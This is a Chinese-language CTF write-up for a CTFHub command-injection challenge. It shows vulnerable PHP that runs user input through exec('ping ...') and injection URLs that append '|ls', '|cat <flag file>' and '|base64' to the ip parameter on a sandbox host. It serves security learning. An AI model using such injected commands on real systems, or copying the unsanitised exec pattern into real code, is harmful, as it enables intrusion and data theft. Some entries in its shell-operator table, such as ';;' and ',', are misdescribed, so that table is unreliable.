CTFHub | 命令注入

阳光穿透心脏的1/2处 2024-03-16 18:01 18阅读 0赞

#### 0x00 前言 ####

CTFHub 专注网络安全、信息安全、白帽子技术的在线学习，实训平台。提供优质的赛事及学习服务，拥有完善的题目环境及配套 writeup ，降低 CTF 学习入门门槛，快速帮助选手成长，跟随主流比赛潮流。

#### 0x01 题目描述 ####

> **命令注入：**
> 
> 这是一个在线测试网络延迟的平台，路由器中经常会见到。无任何安全措施，尝试获取 flag 。

![b9e19a0b4bbe49c8b20d21eeb87dd7c4.png][] 网页显示内容

#### 0x02 解题过程 ####

**Ⅰ**检查网页显示内容，可以直接看到源代码。大致意思是：检查用户输入的 GET 请求，判断用户是否输入了 ip 信息。如果输入了 ip 信息，则使用用户输入的这个 ip 数据执行一个 shell 命令 "ping -c 4" 。

![ee8850e9bdff433ba9ec9cf767f7b566.png][]

<?php
 
 $res = FALSE;
 
 if (isset($_GET['ip']) && $_GET['ip']) {
 $cmd = "ping -c 4 {$_GET['ip']}";
 exec($cmd, $res);
 }
 
 ?>

**Ⅱ**在输入框中搜索 127.0.0.1 执行一下看看，回显成功，可以正常执行。

![4bc2f25e9b6c48eba9bf8517c163b8b2.png][]

**Ⅲ**在 url 中加上管道符进行测试，发现页面返回了两个网页的文件夹。

![a32422b605de40bfb94a6bf60900acd9.png][]

http://challenge-8d27f992c490a241.sandbox.ctfhub.com:10800/?ip=127.0.0.1|ls

**Ⅳ**直接访问带有数字的 php 文件，因为 index.php文件就是当前页面，可以直接排除。

![46691dd595ca4d078edfa036bbf5784b.png][]

http://challenge-8d27f992c490a241.sandbox.ctfhub.com:10800/?ip=127.0.0.1|cat 312721736210240.php

**Ⅴ**检查返回页面发现无回显，查看网页源代码发现此题 flag 。

![a2ae15ee81d34d59adcbd44b88f9cd13.png][]

#### 0x03 Base64显示 ####

当然，在解题过程中检查页面回显时，发现无回显并不是因为管道符不正确。而是因为在网页中，浏览器会将文本内容解析为 HTML 代码，并根据 HTML 代码生成相应的网页。如果你的文本中包含特殊字符，浏览器就会将这些特殊字符解析为 HTML 标签，导致文本内容无法在网页中正常显示。那么这时候你可以通过以 base64 编码形式进行解析，浏览器会输出 base64 编码后的文本进行输出，不执行 HTML 解析，所以可以在网页中正常显示。

关于 base64 的解题方法：

**Ⅰ**再使用一个 | 管道符号，将多个命令串联起来执行，将网页以 base64 编码返回到用户端。

![ddaf26e26b5145fdb5c7f9d48fa0ce83.png][]

http://challenge-8d27f992c490a241.sandbox.ctfhub.com:10800/?ip=127.0.0.1|cat%20312721736210240.php|base64

**Ⅱ**使用 base64 解码工具对密文进行解密，发现此题 flag 。

![6b986e927dd245cd8e5287e9b301869c.png][]

#### 0x04 管道符号 ####

管道符号是一个可以连接多个命令的特殊符号。在 Unix 和 Linux 系统命令行中经常使用，通常用于将一个命令的输出作为另一个命令的输入，从而实现多个命令的协同工作。

常见的管道符号：

<table> 
 <tbody> 
 <tr> 
 <td style="text-align:center;width:115px;">符号</td> 
 <td style="width:573px;">描述</td> 
 </tr> 
 <tr> 
 <td style="text-align:center;width:115px;">|</td> 
 <td style="width:573px;">将一个命令的输出作为另一个命令的输入。</td> 
 </tr> 
 <tr> 
 <td style="text-align:center;width:115px;">||</td> 
 <td style="width:573px;">在一个命令失败时执行另一个命令。</td> 
 </tr> 
 <tr> 
 <td style="text-align:center;width:115px;">;</td> 
 <td style="width:573px;">在同一行中运行多个命令。</td> 
 </tr> 
 <tr> 
 <td style="text-align:center;width:115px;">;;</td> 
 <td style="width:573px;">在同一行中运行多个命令，但只有在前一个命令成功时才会运行后一个命令。</td> 
 </tr> 
 <tr> 
 <td style="text-align:center;width:115px;">,</td> 
 <td style="width:573px;">按顺序执行多个命令，但只返回最后一个命令的结果。</td> 
 </tr> 
 <tr> 
 <td style="text-align:center;width:115px;">&amp;&amp;</td> 
 <td style="width:573px;">在一个命令成功时执行另一个命令。</td> 
 </tr> 
 <tr> 
 <td style="text-align:center;width:115px;">&lt;</td> 
 <td style="width:573px;">将一个文件的内容作为输入传递给一个命令。</td> 
 </tr> 
 <tr> 
 <td style="text-align:center;width:115px;">&gt;</td> 
 <td style="width:573px;">将一个命令的输出重定向到一个文件中。</td> 
 </tr> 
 <tr> 
 <td style="text-align:center;width:115px;">&gt;&gt;</td> 
 <td style="width:573px;">将一个命令的输出追加到一个文件的末尾。</td> 
 </tr> 
 </tbody> 
</table>

#### **0x05 参考文献** ####

> \[1\].William Shotts. Learning the Shell\[EB/OL\]. \[2023-06-14\]. https://linuxcommand.org/lc3\_learning\_the\_shell.php.

#### **0x06 总结** ####

文章内容为学习记录的笔记，由于作者水平有限，文中若有错误与不足欢迎留言，便于及时更正。

[b9e19a0b4bbe49c8b20d21eeb87dd7c4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/15/288c255881c344c4977de70ce423e2ee.png
[ee8850e9bdff433ba9ec9cf767f7b566.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/15/de9018f1a8104737aa8d2d526298cb8d.png
[4bc2f25e9b6c48eba9bf8517c163b8b2.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/15/dba275fb7627444db664cdc8040783ad.png
[a32422b605de40bfb94a6bf60900acd9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/15/7ec75f25afb3442b9f526003c81254a8.png
[46691dd595ca4d078edfa036bbf5784b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/15/3ddf42e20f6947d388ebf6452aefc240.png
[a2ae15ee81d34d59adcbd44b88f9cd13.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/15/ee53462b1135432d9f0f89e6e4759719.png
[ddaf26e26b5145fdb5c7f9d48fa0ce83.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/15/fcffbd0f24fc491eb82ccff13e3fcc75.png
[6b986e927dd245cd8e5287e9b301869c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/15/c0951905f3ef4a5583b173a1a44edb23.png